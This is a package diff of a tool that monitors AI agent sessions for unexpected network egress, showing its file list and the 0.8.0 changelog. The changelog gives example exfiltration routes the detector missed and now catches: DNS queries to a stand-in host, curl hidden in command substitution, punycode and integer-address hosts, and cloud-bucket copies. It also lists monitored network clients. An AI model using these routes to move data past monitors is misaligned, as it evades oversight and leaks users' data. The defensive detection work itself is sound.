agent-certify 0.7.0__tar.gz → 0.8.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agent_certify-0.8.0/CHANGELOG.md +882 -0
- agent_certify-0.8.0/PKG-INFO +1523 -0
- agent_certify-0.8.0/README.md +1480 -0
- agent_certify-0.8.0/SECURITY.md +491 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/pyproject.toml +30 -4
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/__init__.py +6 -1
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/anomaly.py +194 -11
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/baseline.py +25 -6
- agent_certify-0.8.0/src/agent_certify/benchmark/__init__.py +79 -0
- agent_certify-0.8.0/src/agent_certify/benchmark/injector.py +1044 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/benchmark/runner.py +155 -23
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/benchmark/synthetic.py +12 -1
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/certificate.py +309 -9
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/cli.py +255 -8
- agent_certify-0.8.0/src/agent_certify/domains.py +1478 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/graph.py +99 -3
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/mcp_server.py +95 -8
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/claude_code.py +14 -6
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/crewai.py +12 -5
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/langgraph.py +39 -23
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/mcp_logs.py +4 -1
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/paths.py +32 -3
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/policy.py +117 -17
- agent_certify-0.8.0/src/agent_certify/regions.py +513 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/watcher.py +41 -3
- agent_certify-0.8.0/src/agent_certify.egg-info/PKG-INFO +1523 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify.egg-info/SOURCES.txt +8 -0
- agent_certify-0.8.0/src/agent_certify.egg-info/requires.txt +18 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_anomaly.py +83 -4
- agent_certify-0.8.0/tests/test_benchmark.py +777 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_cert_by_type.py +7 -3
- agent_certify-0.8.0/tests/test_cert_egress.py +402 -0
- agent_certify-0.8.0/tests/test_cli_regions.py +472 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_cli_v05.py +5 -2
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_domains.py +86 -5
- agent_certify-0.8.0/tests/test_egress_coverage.py +520 -0
- agent_certify-0.8.0/tests/test_egress_volume.py +653 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_mcp_parser.py +2 -1
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_mcp_server.py +29 -1
- agent_certify-0.8.0/tests/test_regions.py +565 -0
- agent_certify-0.8.0/tests/test_release_hygiene.py +449 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_security_mcp.py +5 -1
- agent_certify-0.8.0/tests/test_shell_egress.py +662 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_volume.py +66 -9
- agent_certify-0.7.0/CHANGELOG.md +0 -391
- agent_certify-0.7.0/PKG-INFO +0 -887
- agent_certify-0.7.0/README.md +0 -847
- agent_certify-0.7.0/SECURITY.md +0 -133
- agent_certify-0.7.0/src/agent_certify/benchmark/__init__.py +0 -58
- agent_certify-0.7.0/src/agent_certify/benchmark/injector.py +0 -405
- agent_certify-0.7.0/src/agent_certify/domains.py +0 -262
- agent_certify-0.7.0/src/agent_certify.egg-info/PKG-INFO +0 -887
- agent_certify-0.7.0/src/agent_certify.egg-info/requires.txt +0 -15
- agent_certify-0.7.0/tests/test_benchmark.py +0 -396
- {agent_certify-0.7.0 → agent_certify-0.8.0}/CONTRIBUTING.md +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/LICENSE +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/MANIFEST.in +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/examples/crewai_run.json +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/examples/langgraph_trace.jsonl +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/examples/scan_claude_session.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/scripts/benchmark.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/scripts/demo.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/setup.cfg +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/benchmark/__main__.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/blast.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/otel.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/__init__.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/auto.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/base.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/parser/cursor_trace.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/scanner.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify/viz.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify.egg-info/dependency_links.txt +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify.egg-info/entry_points.txt +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/src/agent_certify.egg-info/top_level.txt +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/conftest.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_auto_parser.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_baseline.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_baseline_overrides.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_blast.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_certificate.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_cli.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_cli_v051.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_crewai_parser.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_cursor_parser.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_hardening.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_langgraph_parser.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_otel.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_parser_claude.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_perspective.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_policy.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_policy_gen.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_scanner.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_security_cert.py +0 -0
- {agent_certify-0.7.0 → agent_certify-0.8.0}/tests/test_watcher.py +0 -0
|
@@ -0,0 +1,882 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to agent-certify are documented here.
|
|
4
|
+
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and the
|
|
5
|
+
project uses [Semantic Versioning](https://semver.org/).
|
|
6
|
+
|
|
7
|
+
## [Unreleased]
|
|
8
|
+
|
|
9
|
+
## [0.8.0] - 2026-11-24
|
|
10
|
+
|
|
11
|
+
### Highlights
|
|
12
|
+
|
|
13
|
+
- **Destinations are read from shell command lines** — `curl`, `wget`, `scp`,
|
|
14
|
+
`ssh`, `nc`, 23 clients in all, including object storage (`aws s3 cp`), DNS
|
|
15
|
+
queries (`dig`), numeric address spellings (`http://2130706433/`) and
|
|
16
|
+
internationalised names (`collector.xn--p1ai`).
|
|
17
|
+
- **Outbound volume per destination**, learned in the baseline and compared
|
|
18
|
+
(`egress_volume_spike`), with an absolute floor under both volume checks.
|
|
19
|
+
- **No scan limit drops a host in silence**: reaching one is reported
|
|
20
|
+
(`destination_scan_truncated`), critical when that call did name a
|
|
21
|
+
destination.
|
|
22
|
+
- **Region policy, decided offline** (`forbidden_region`): country-code
|
|
23
|
+
domains, internationalised ccTLDs included, or an address literal in a local
|
|
24
|
+
DB-IP-format database. No name is resolved unless `--resolve-dns` says so,
|
|
25
|
+
and never from the MCP server.
|
|
26
|
+
- **Certificates carry a signed `egress` section** (`cert_format` 3) — the
|
|
27
|
+
patterns accepted and rejected, the forbidden regions, the destinations
|
|
28
|
+
observed. Formats 1 and 2 keep their signed bytes and still verify.
|
|
29
|
+
- **An independent audit of this release is closed**, every finding listed by
|
|
30
|
+
identifier below, including five classes of egress false negative that
|
|
31
|
+
produced no destination, no truncation and no warning.
|
|
32
|
+
- **Benchmark**: detection 100.0% (108/108) among covered types; 85.7%
|
|
33
|
+
(108/126) of all injected faults, blind spots included; 0 false positives
|
|
34
|
+
(0/6 clean sessions).
|
|
35
|
+
|
|
36
|
+
### Upgrading from 0.7
|
|
37
|
+
|
|
38
|
+
Behaviour that changed by default. Everything here is a decision a script or a
|
|
39
|
+
CI gate can see.
|
|
40
|
+
|
|
41
|
+
- **`verify` exits 3, not 0, when egress coverage cannot be verified.** This
|
|
42
|
+
includes **every certificate issued before 0.8** checked against a session
|
|
43
|
+
that reached a destination: such a certificate has no `egress` section, so
|
|
44
|
+
whether those destinations were certified is unanswerable. Re-issue the
|
|
45
|
+
certificate with 0.8, or pass `--accept-unverified-egress` to accept the
|
|
46
|
+
narrower check as valid (exit 0, warning on stderr). Exits 0, 1 and 2 keep
|
|
47
|
+
their meaning.
|
|
48
|
+
- **A certificate with no validity window fails** (`cert_format` 1, issued
|
|
49
|
+
before v0.5), unless `--allow-no-expiry`, which warns.
|
|
50
|
+
- **`certify` refuses to sign a system that already breaks its own egress
|
|
51
|
+
rules** — a destination matching a rejected pattern, or one in a forbidden
|
|
52
|
+
region — and exits 1 writing nothing. `--allow-egress-violations` signs
|
|
53
|
+
anyway, records the violations in the signed section, and such a certificate
|
|
54
|
+
then fails verification.
|
|
55
|
+
- **`certify` writes `cert_format` 3**, which a 0.7.x `verify` rejects. 0.8
|
|
56
|
+
reads all three formats; an older verifier does not read this one. Upgrade
|
|
57
|
+
the verifying side first.
|
|
58
|
+
- **`new_tool` is a warning, not critical, on a baseline of fewer than 5
|
|
59
|
+
sessions** (`--min-baseline-sessions`, `0` restores the old behaviour). A
|
|
60
|
+
*rejected* tool stays critical whatever the baseline.
|
|
61
|
+
- **Shell command lines are now read, so new destinations appear**: a host
|
|
62
|
+
behind `curl` reaches the baseline and fires `new_domain` (critical) where
|
|
63
|
+
0.7 saw nothing. Two anomaly categories are new and can reach `--fail-on`:
|
|
64
|
+
`egress_volume_spike` and `destination_scan_truncated`.
|
|
65
|
+
- **The two volume checks are quieter**: a rise is reported only when it passes
|
|
66
|
+
the baseline's maximum by at least `--min-call-delta` (10 calls) or
|
|
67
|
+
`--min-egress-delta` (10 KiB); `0` turns a floor off. Reading a bare string
|
|
68
|
+
as a destination is stricter too (host shape, and nothing from a value a
|
|
69
|
+
`Write` call puts in a file). On eleven held-out real sessions the two
|
|
70
|
+
together moved 109 anomalies to 72, and 94 criticals to 58, with every true
|
|
71
|
+
alert surviving.
|
|
72
|
+
- **`watch` honours `--geoip-db` and `--resolve-dns`**, which it previously
|
|
73
|
+
accepted and ignored.
|
|
74
|
+
- **Dependency floors**: `numpy>=1.26.4` (was 1.24.0) and
|
|
75
|
+
`cryptography>=46.0.0` (was 41.0.0), both installed exactly and tested by the
|
|
76
|
+
`lowest` CI job under Python 3.10. `requires-python` is unchanged at `>=3.10`.
|
|
77
|
+
|
|
78
|
+
### Audit 2026-11-24
|
|
79
|
+
|
|
80
|
+
A static audit of v0.8.0-to-be, read against this file, `README.md` and
|
|
81
|
+
`SECURITY.md`. The findings are listed by identifier because several were not
|
|
82
|
+
bugs in the code but **claims the documents made that the code did not keep** —
|
|
83
|
+
and an undeclared gap is worse than a declared one.
|
|
84
|
+
|
|
85
|
+
**Closed in `fix/egress-coverage`** (egress extraction, merged before this):
|
|
86
|
+
|
|
87
|
+
| id | finding |
|
|
88
|
+
|---|---|
|
|
89
|
+
| EGR-001 | an internationalised domain was read as "not a host": `https://collector.xn--p1ai/x` reached nobody |
|
|
90
|
+
| EGR-002 | only six URL schemes, and no cloud, resolver or database clients: `aws s3 cp f s3://bucket/k` and `dig secret.evil.example.net` named nothing |
|
|
91
|
+
| EGR-003 | an address written as an integer, in hex or in octal was not an address: `http://2130706433/x` |
|
|
92
|
+
| EGR-004 | the filename-label list was unpinned — a label that becomes a gTLD turns it into an egress hole, silently |
|
|
93
|
+
| EGR-005 | a command substituted into an assignment went unread with the assignment: `X=$(curl host/x)` |
|
|
94
|
+
| INT-002 | the benchmark quoted a detection rate that left declared blind spots out of the denominator |
|
|
95
|
+
|
|
96
|
+
**Closed here:**
|
|
97
|
+
|
|
98
|
+
| id | finding |
|
|
99
|
+
|---|---|
|
|
100
|
+
| INT-001 | `__version__` said 0.7.0 while the tree wrote `cert_format` 3, which no 0.7.0 can read. Now `0.8.0` (`0.8.0.dev0` until this release commit), with `MIN_VERSION_FOR_FORMAT` tying each format to the oldest version allowed to write it, and a test that fails if a format is added without its version |
|
|
101
|
+
| CRY-001 | `verify` exited 0 for a certificate that could not be checked against the session's destinations. It now exits **3** — "signature and topology valid, egress coverage not verifiable" — and `--accept-unverified-egress` returns that case to 0 explicitly |
|
|
102
|
+
| CRY-003 | a certificate with no validity window (format 1) verified as valid. With no expiry and no revocation, that is a credential nothing can retire: it now fails unless `--allow-no-expiry` is given |
|
|
103
|
+
| CRY-002 | the absence of revocation was a half-sentence. `SECURITY.md` §2 now states it as a property of the trust model, with the procedure that exists today (destroy the key, re-issue, shorten `--validity-days` for a certificate that leaves the organisation). The revocation file goes to v0.9 |
|
|
104
|
+
| MCP-001 | a timed-out MCP request abandons its thread — Python cannot kill one — so a retrying client piled threads up and made every later call slower. The server now refuses past `MAX_INFLIGHT` (2) with `server busy: N earlier request(s) still running`, and logs how many it has abandoned |
|
|
105
|
+
| PRV-001 | the project name (a filesystem path, so it can carry a user or client name) and the session id were exported in four places and named in neither document. Both are now named in `SECURITY.md` §5 and §6 and in the README, and `scan`/`watch --hash-project` replaces the project name with `sha256:<12 hex>` in the report, the JSON, the OTel span and the HTML |
|
|
106
|
+
| CFG-001 | CI tested three Python versions and the package claimed support for three; the matrix is now 3.10 – 3.14 |
|
|
107
|
+
| CFG-002 | the classifiers did not list 3.13 or 3.14 |
|
|
108
|
+
| SCA-002 | the dependency floors were asserted and never installed by anything. They are now **tested** floors: `numpy>=1.26.4` and `cryptography>=46.0.0`, installed exactly by a new `lowest` CI job under Python 3.10 which runs the whole suite and `pip-audit` against them. Set low enough to install on a frozen corporate image, because an unconstrained install takes the newest release anyway and a floor that blocks the install protects nobody. Hash-pinned locking goes to v0.9 |
|
|
109
|
+
| DOC-001 | "Development Status :: 3 - Alpha" for a package with a signed certificate format, a benchmark and a security policy: now **4 - Beta** |
|
|
110
|
+
| LIC-001 | a region report used DB-IP data under CC BY 4.0 without crediting it. `scan`, `watch` and `verify` now print `IP geolocation by DB-IP.com, CC BY 4.0` on stderr whenever `--geoip-db` was read |
|
|
111
|
+
|
|
112
|
+
**Deferred to v0.9** (in `ROADMAP.md`): the revocation file (CRY-002), and
|
|
113
|
+
hash-pinned dependency locking (SCA-002). Raising the floors becomes a step of
|
|
114
|
+
each release, since they are set low on purpose and go stale by design.
|
|
115
|
+
|
|
116
|
+
### Added
|
|
117
|
+
- **Five classes of egress false negative closed** (`agent_certify.domains`).
|
|
118
|
+
A static audit of the extractor found five ways to reach a destination that
|
|
119
|
+
produced **no destination, no truncation and no warning** — the report was
|
|
120
|
+
silent, and none of the five was declared in the README or in `SECURITY.md`:
|
|
121
|
+
- **internationalised names.** A host shape may now end in a punycode tag,
|
|
122
|
+
and a Unicode host (`collector.рф`) is converted with the standard
|
|
123
|
+
library's `idna` codec — never raising, nothing resolved — before the shape
|
|
124
|
+
test. The punycode form is what is recorded and compared, so one pattern
|
|
125
|
+
covers both spellings; a pattern typed in Unicode converts the same way
|
|
126
|
+
- **schemes beyond the web.** `s3`, `gs`, `azure`, `abfs(s)`, `wasb(s)`,
|
|
127
|
+
`smb`, `ssh`, `sftp`, `scp`, `rsync`, `tftp`, `redis(s)`, `postgres(ql)`,
|
|
128
|
+
`mysql`, `mongodb`, `mongodb+srv`, `amqp(s)`, `mqtt` and `ldap(s)` join
|
|
129
|
+
`http(s)`, `ws(s)` and `ftp(s)` (`URL_SCHEMES`). A scheme glued to a
|
|
130
|
+
preceding word is not one: `logs://x` names nothing
|
|
131
|
+
- **buckets and configured remotes**, which are destinations with no host
|
|
132
|
+
name in them: `s3://logs-eu/key` and `rclone copy f backup:dir` are
|
|
133
|
+
recorded as `s3:logs-eu` and `rclone:backup` — a `<kind>:<name>` shape no
|
|
134
|
+
host can take. Accept and reject patterns apply as to a host, with
|
|
135
|
+
`s3:*` for every bucket of a kind and no `*.` wildcard, and the **region
|
|
136
|
+
is always `unknown`**, resolved for by nothing
|
|
137
|
+
- **numeric addresses.** `2130706433`, `0x7f000001`, `0177.0.0.1` and
|
|
138
|
+
`127.1` are all 127.0.0.1 to every socket library; all four normalise to
|
|
139
|
+
the dotted quad and count as one destination
|
|
140
|
+
- **command substitutions.** `$(…)` and backticks are read as a command line
|
|
141
|
+
one level deep and then removed from the line that held them, so both
|
|
142
|
+
`X=$(curl host/x)` and `TOKEN=$(cat f) curl api.example.net/v1` read
|
|
143
|
+
correctly
|
|
144
|
+
- **Twenty-three network clients** (`NETWORK_COMMANDS`), in three new families:
|
|
145
|
+
object storage and cloud (`aws`, `gcloud`, `gsutil`, `az`, `azcopy`,
|
|
146
|
+
`rclone`, `mc`, `s3cmd`, `kubectl`), resolvers (`dig`, `nslookup`, `host`,
|
|
147
|
+
`drill`) and databases, caches and TLS (`psql`, `mysql`, `mysqldump`,
|
|
148
|
+
`redis-cli`, `mongosh`, `mongo`, `mongodump`, `openssl s_client`), plus
|
|
149
|
+
`tftp` and `smbclient`. For these the destination is read from a named option
|
|
150
|
+
or a connection URL rather than from the shape of a positional argument, so
|
|
151
|
+
`aws --version`, `kubectl get pods` and `psql -f file.sql` name nothing and
|
|
152
|
+
produce nothing. **For a resolver the queried name is the destination**: DNS
|
|
153
|
+
exfiltration opens no connection, and a reader looking for connections saw
|
|
154
|
+
none
|
|
155
|
+
- **`NOT_HOSTS_CHECKED`**: the day the filename-label list was last checked
|
|
156
|
+
against the DNS root zone, pinned by a test that fails if the list changes
|
|
157
|
+
without the date changing. A label that quietly becomes a gTLD turns that
|
|
158
|
+
filter into an egress hole, so it is re-checked at every new ICANN gTLD round
|
|
159
|
+
- **Internationalised ccTLDs name their country, offline**
|
|
160
|
+
(`IDN_CCTLD_COUNTRY` in `agent_certify.regions`): all 61 delegated IDN
|
|
161
|
+
ccTLDs with the IANA Root Zone Database's own `iso3166_code` for each —
|
|
162
|
+
`xn--p1ai` → `RU`, both Chinese forms → `CN`, `xn--90ais` → `BY`,
|
|
163
|
+
`xn--mgba3a4f16a` → `IR`, India's fourteen scripts, Taiwan's two — read from
|
|
164
|
+
the database's machine-readable form, cited in the module, and pinned by a
|
|
165
|
+
test to the day the table was last checked. The determination source is
|
|
166
|
+
reported as **`ccTLD (IDN)`**. A `forbidden_region RU` rule now reaches
|
|
167
|
+
`collector.xn--p1ai`; before, the region came back `unknown` and the rule
|
|
168
|
+
written to stop that destination said nothing about it
|
|
169
|
+
- **`scan --hash-project` and `watch --hash-project`**: the project name,
|
|
170
|
+
which is derived from a filesystem path and can carry a user or client name,
|
|
171
|
+
is replaced by `sha256:<first 12 hex characters>` in every output — report,
|
|
172
|
+
JSON, OTel span, HTML. Stable, so sessions of one project still group
|
|
173
|
+
together; pseudonymisation rather than anonymisation, and documented as such
|
|
174
|
+
- **`verify --allow-no-expiry`** and **`verify --accept-unverified-egress`**:
|
|
175
|
+
the two waivers the new refusals need, each explicit and each warning on
|
|
176
|
+
stderr
|
|
177
|
+
- **Attribution for GeoIP data**: `scan`, `watch` and `verify` print
|
|
178
|
+
`IP geolocation by DB-IP.com, CC BY 4.0` on stderr whenever `--geoip-db` was
|
|
179
|
+
read, as CC BY 4.0 asks
|
|
180
|
+
- **Six benchmark injections** — `idn_domain`, `cloud_storage`, `dns_exfil`,
|
|
181
|
+
`numeric_ipv4`, `assignment_substitution`, each building a real argument
|
|
182
|
+
object and handing it to the production extractor, all expected as
|
|
183
|
+
`new_domain`/critical; and `forbidden_region_idn`, the region fault under an
|
|
184
|
+
internationalised ccTLD, expected as a `forbidden_region` policy violation.
|
|
185
|
+
All six detected on every trial
|
|
186
|
+
|
|
187
|
+
### Changed
|
|
188
|
+
- **`verify` has a third exit code.** 0 valid, 1 invalid, 2 usage, **3 signature
|
|
189
|
+
and topology valid but egress coverage not verifiable** — the certificate
|
|
190
|
+
carries no observed destinations and the session reached some, so whether
|
|
191
|
+
those were the certified ones cannot be decided. `--accept-unverified-egress`
|
|
192
|
+
makes that case 0. Documented in the README and in `verify --help`
|
|
193
|
+
- **A certificate with no validity window fails** (`cert_format` 1, issued
|
|
194
|
+
before v0.5): no expiry plus no revocation is a credential nothing can
|
|
195
|
+
retire. `--allow-no-expiry` accepts one with a warning
|
|
196
|
+
- **`__version__` is `0.8.0`**, and `MIN_VERSION_FOR_FORMAT` ties each
|
|
197
|
+
certificate format to the oldest version allowed to write it (`cert_format`
|
|
198
|
+
3 requires 0.8.0). It was `0.8.0.dev0` from the audit fix until this release
|
|
199
|
+
commit, because a tree that writes a format no release reads must not claim
|
|
200
|
+
a released version
|
|
201
|
+
- **The dependency floors are tested, and deliberately low**:
|
|
202
|
+
`numpy>=1.26.4` (the oldest release the suite passes on under Python 3.10)
|
|
203
|
+
and `cryptography>=46.0.0` (the oldest series with the Ed25519 API and wheels
|
|
204
|
+
for every interpreter in the matrix, ~14 months old). A new **`lowest` CI
|
|
205
|
+
job** installs exactly those two versions under Python 3.10, runs the suite,
|
|
206
|
+
and runs `pip-audit` on that resolution without failing the build. The
|
|
207
|
+
reasoning is in `pyproject.toml` and in `SECURITY.md` §2: an unconstrained
|
|
208
|
+
install takes the newest release, so a high floor blocks frozen deployments
|
|
209
|
+
without protecting anyone, while a frozen deployment has to follow
|
|
210
|
+
`cryptography`'s advisories itself
|
|
211
|
+
- **CI matrix 3.10 – 3.14**, classifiers to match, and
|
|
212
|
+
`Development Status :: 4 - Beta`
|
|
213
|
+
- **The MCP server refuses a tool call past two in flight** rather than piling
|
|
214
|
+
up threads it cannot cancel, and reports how many it has abandoned
|
|
215
|
+
- **The benchmark reports two detection rates, always together**: the rate
|
|
216
|
+
among the fault types a check is meant to catch, and the rate over
|
|
217
|
+
**everything injected with the blind spots in the denominator**
|
|
218
|
+
(`overall_detection_rate` in `--format json`). A covered-only rate alone
|
|
219
|
+
reads as "nothing gets past this" while a fault nobody catches is counted out
|
|
220
|
+
of the denominator; a test fails if that line ever carries one figure alone
|
|
221
|
+
- **A truncated scan is reported when a nesting that could hold a destination
|
|
222
|
+
is too deep to read**, and not when it demonstrably holds none: a
|
|
223
|
+
substitution whose text has neither a URL nor the name of a known client was
|
|
224
|
+
read far enough to establish there is nothing in it
|
|
225
|
+
|
|
226
|
+
- **Where a destination is** (`agent_certify.regions`): a destination gets an
|
|
227
|
+
ISO 3166-1 alpha-2 country code, decided **offline**, and the answer says how
|
|
228
|
+
it was reached — `cctld` (a country-code domain: `api.example.cn` → `CN`,
|
|
229
|
+
`bbc.co.uk` → `GB`; the table is the 249 assigned codes plus the seven
|
|
230
|
+
exceptions), `geoip` (an address literal looked up in a local CSV of
|
|
231
|
+
`ip_start,ip_end,country` rows — DB-IP's *IP to Country Lite* format, CC BY
|
|
232
|
+
4.0 — read with a binary search and no dependency), or `unknown`. **No
|
|
233
|
+
database ships with the package and none is downloaded.** A `.com` hosted
|
|
234
|
+
elsewhere is `unknown`, which is the honest limit and is documented as one: a
|
|
235
|
+
ccTLD is a registration rather than a location
|
|
236
|
+
- **`--resolve-dns`** on `scan`, `learn` and `watch`: resolves destination
|
|
237
|
+
names to addresses so the database can place them. **The one option in
|
|
238
|
+
agent-certify that makes a network connection** — off by default, requires
|
|
239
|
+
`--geoip-db`, prints what it will do and which resolver it will use before
|
|
240
|
+
the first lookup, resolves each name at most once per run with a bounded wait
|
|
241
|
+
and a cap on the number of lookups. **Never available from the MCP server**,
|
|
242
|
+
which answers region questions from host names alone and opens no socket
|
|
243
|
+
- **`--geoip-db`** on `scan`, `learn`, `watch` and `verify`: a local address
|
|
244
|
+
database. Offline, so `verify` can use it without becoming a network tool
|
|
245
|
+
- **Policy rule `forbidden_region`** (target: `"CN,RU,BY,IR"` — an *example*;
|
|
246
|
+
no country is forbidden by default and no sanctions list ships here). The
|
|
247
|
+
violation names the destination, the country and **how the country was
|
|
248
|
+
determined**, since a ccTLD, an address database and a DNS lookup are not
|
|
249
|
+
equally strong. `"unknown_region": "warning"` reports destinations whose
|
|
250
|
+
country cannot be determined; the default ignores them. `suggest-policy`
|
|
251
|
+
never drafts the rule: which countries an organisation will not send data to
|
|
252
|
+
is a decision with legal weight that no baseline implies
|
|
253
|
+
- **A signed `egress` section in certificates** (`cert_format` 3): the
|
|
254
|
+
destination patterns accepted and rejected, the forbidden regions in force,
|
|
255
|
+
and the destinations observed, all signed. `certify` reads the baseline and
|
|
256
|
+
policy to fill it; `verify` reports a destination the certificate does not
|
|
257
|
+
cover and one in a forbidden region, resolving regions offline.
|
|
258
|
+
**Formats 1 and 2 keep their original signed bytes**, so every certificate
|
|
259
|
+
issued before this still verifies — tested for each format, and checked
|
|
260
|
+
end to end against a certificate issued by the real v0.7.0 code.
|
|
261
|
+
`graph_hash` is unchanged: a certificate's identity is still its topology
|
|
262
|
+
- **`certify` refuses to sign a system that already breaks its own egress
|
|
263
|
+
rules**: a destination matching a rejected pattern in the baseline, or one in
|
|
264
|
+
a forbidden region of the policy. It exits 1, names each destination and the
|
|
265
|
+
rule it broke, and writes nothing — a certificate says a system was in a
|
|
266
|
+
known good state, and signing over a live violation would say the opposite of
|
|
267
|
+
the evidence. `--allow-egress-violations` signs anyway, warns on stderr, and
|
|
268
|
+
records the violations in the signed `egress` section
|
|
269
|
+
(`violations_at_issue`), so the evidence travels with the signature; `verify`
|
|
270
|
+
reports them, and such a certificate still fails verification. Both rules are
|
|
271
|
+
checked offline, `--geoip-db` included (`certify` never resolves a name),
|
|
272
|
+
through the new `certificate.egress_violations()`
|
|
273
|
+
- **`certify --omit-observed-destinations`**: keeps the accepted and rejected
|
|
274
|
+
patterns and the forbidden regions in the certificate and leaves out the list
|
|
275
|
+
of destinations the session reached, for a certificate that will be shared
|
|
276
|
+
outside the organisation — observed host names can describe internal
|
|
277
|
+
infrastructure that the topology never revealed. The key is absent rather
|
|
278
|
+
than empty (an empty list would claim the session reached nothing), the
|
|
279
|
+
omission is inside the signed bytes, and `verify` then checks the rejected
|
|
280
|
+
patterns and the forbidden regions only and says so in its report
|
|
281
|
+
- **One region resolver for a whole `watch`**: the resolver is held for the
|
|
282
|
+
process, so its cache covers the failures too. A name whose lookup ran past
|
|
283
|
+
the deadline stays `unknown` and is never retried on a later cycle, which
|
|
284
|
+
leaves one abandoned thread rather than one per cycle, and the cap on
|
|
285
|
+
resolutions is a budget for the run rather than for each cycle. `watch` also
|
|
286
|
+
honours `--geoip-db` and `--resolve-dns`, which it previously ignored
|
|
287
|
+
- `AnomalyInjector.inject_forbidden_region()` and `.forbid_region()`, and the
|
|
288
|
+
`forbidden_region` benchmark row: the first fault scored against the **policy
|
|
289
|
+
engine** rather than a baseline. The runner now checks policies as well as
|
|
290
|
+
anomalies (`BenchmarkRunner.check_policy`, `Injection.policy` /
|
|
291
|
+
`.expected_rule`, `TypeResult.expected_rule`,
|
|
292
|
+
`BenchmarkResult.policy_cases`) — **16 fault types, 72/72 detected**, with
|
|
293
|
+
three measured blind spots and one false-positive case
|
|
294
|
+
- `tests/test_regions.py`, `tests/test_cert_egress.py`,
|
|
295
|
+
`tests/test_cli_regions.py`: the ccTLD table, the database loader and its
|
|
296
|
+
malformed rows, the resolver's cache, timeout and lookup cap, the policy
|
|
297
|
+
rule, the certificate section and both legacy formats, every CLI path, and —
|
|
298
|
+
in every test that involves DNS — a fake `socket.getaddrinfo`, with guards
|
|
299
|
+
that **fail the test if anything resolves a name** when it should not
|
|
300
|
+
|
|
301
|
+
### Fixed
|
|
302
|
